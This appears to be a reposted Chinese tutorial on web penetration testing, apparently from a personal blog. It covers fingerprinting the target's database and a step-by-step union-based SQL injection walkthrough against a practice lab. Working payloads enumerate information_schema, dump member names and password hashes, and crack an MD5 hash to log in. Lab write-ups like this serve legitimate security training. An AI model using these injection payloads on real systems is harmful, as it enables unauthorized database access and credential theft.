ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

2022-02-20 16:02:54  阅读:314  来源: 互联网

标签:web 12 数据库 博客 获取数据 CSDN id select schema


忍者测试系统的安装:

忍者安全渗透系统(NINJITSU OS V3)的安装详细过程,亲测新旧vm版本都可安装,附带下载来源_黑色地带(崛起)的博客-CSDN博客

靶场环境搭建:

①phpstudy以及pikachu-master环境搭建

新版phpstudy搭建pikachu靶场环境详细过程_黑色地带(崛起)的博客-CSDN博客

②sqli-labs-master靶场环境搭建

详细新版phpstudy安装以及sqli-labs-master靶场环境搭建过程附带文件链接_黑色地带(崛起)的博客-CSDN博客

③hackbar的安装

安装hackbar,火狐2分钟解决(优选),及如何打开使用_黑色地带(崛起)的博客-CSDN博客

可能出现的问题:

①pikachu可能出现的问题:

“数据库连接失败,请检查config.inc.php配置文件”常见2种可能错误_黑色地带(崛起)的博客-CSDN博客

②sqli-labs-master可能出现的问题:

sqli-labs出现“Fatal error:Uncaught Error”的解决办法_黑色地带(崛起)的博客-CSDN博客

sqli-labs出现“Unable to connect to the database: security”问题(phpstudy搭建)_黑色地带(崛起)的博客-CSDN博客

信息收集

测试前的准备:

1.网站路径

burpsuite或者sqlmap进行网站爬取

直接使用kali Linux等渗透系统中sqlmap,简单的使用入门_黑色地带(崛起)的博客-CSDN博客

 

2.操作系统:

windows和linux对大小写敏感不同,大小写都不报错的是windows

3.数据库类型判断:

方法一:

在开发者工具里面分析数据包的头部文件

发现是Nginx 

方法二:

根据前端编写判断

asp:  SQL Server,Access
.net:  SQL Server
php:  MySQL,PostgreSQL
java:  Oracle,MySQL

 

方法三:

扫描端口判断

Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306

Pointbase:默认是9092

DB2:默认是5000 

没扫出来

 

方法四:

根据各种数据库特有函数进行判读

/*  是MySQL数据库的注释符
--  是Oracle和SQL Server支持的注释符
;  是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#  是MySQL中的注释符,返回错误则说明可能不是MySQL,也支持-- 和/**/

方法五:

存在注入点的条件下,根据数据库特有数据表判断

①MySQL(version>5.0)

插入    and (select count(*) from information_schema.TABLES)>0 and 1=1

②Oracle

插入  and (select count(*) from sys.user_tables)>0 and 1=1

③SQL Server

插入  and (select count(*) from sysobjects)>0 and 1=1

4.数据库版本:

 查看数据头来查看数据库及其版本(有的可能屏蔽了看不见)

判断是否有注入点:

方法一:

id是最普遍的,基本上所有表都会有这个字段

在后面加上?id=1

如果输出id=1的相关信息,则说明变量没有过滤,或者过滤不严谨

 没做过滤,或过滤不严谨(下图未过滤)

方法二:

加上单引号' 

如果出现错误提示,则可能存在注入漏洞(可能)

 

 

方法三:

用数据库逻辑运算来判断(有传入参数的时候用)

and 1=1 页面访问正常       得出  真且真为真

​ and 1=2页面访问错误     得出  真且假为假

​ 所以说明我们的语句写进去了,可能存在注入点

(下图未做任何不法行为)

 

and 1=1  和id1=2 都能正常显示页面,说明没有被写入

(还有其他方法,一步一步总结)

墨者题库:

 

第一步:

判断是否有注入点

(注意:?id=1要换到第二行)

and1=1 正常显示 

 and 1=2 无法正常显示

所以存在注入点 

第二步:

猜测字段数

①order by (number)

②union select 1,2……

方法一:

后面的数字一个一个猜

order by 5    无显示

 order by 4  (正常显示出来了,说明有4个)

 方法二:

(重申:这个?id=1 要拿到第二行)

union select 1,2,3,4,5

 union select 1,2,3,4 

 

第三步:

报错猜解可显示字段

(重申:改为 ?id=-1  且放到第二行)

?id=-1 select 1,2,3,4   (这个-1可以随便写成任意不可能的数)

 得到可显示字段为2个,为2,3      

第四步:

获取数据库相关信息

数据库版本:version()

数据库名字:database()

数据库用户:user()

?id=-1 union select 1,version(),database(),4#

(#或--+把后面的语句注释了)

 

第五步:

获取数据库下信息

借助information_schema

information_schema.tables 所有表名

information_schema.columns 所有的列名

table_name #表名

column_name #列名

table_schema #数据库名

查询数据库所下的表名

?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'#

 查询StormGroup_member表下列名

?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'

 

?id=-1 union select 1,name,password,4 from StormGroup_member where status=1#

 

第六步:

解密

开启靶机的时候,就提示掌握cmd5加解密(有一个信息的提醒)

md5在线解密破解,md5解密加密 (cmd5.com)

mozhe 

 552761

 

第七步:

登录得到key 

标签:web,12,数据库,博客,获取数据,CSDN,id,select,schema
来源: https://blog.csdn.net/qq_53079406/article/details/122985240

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有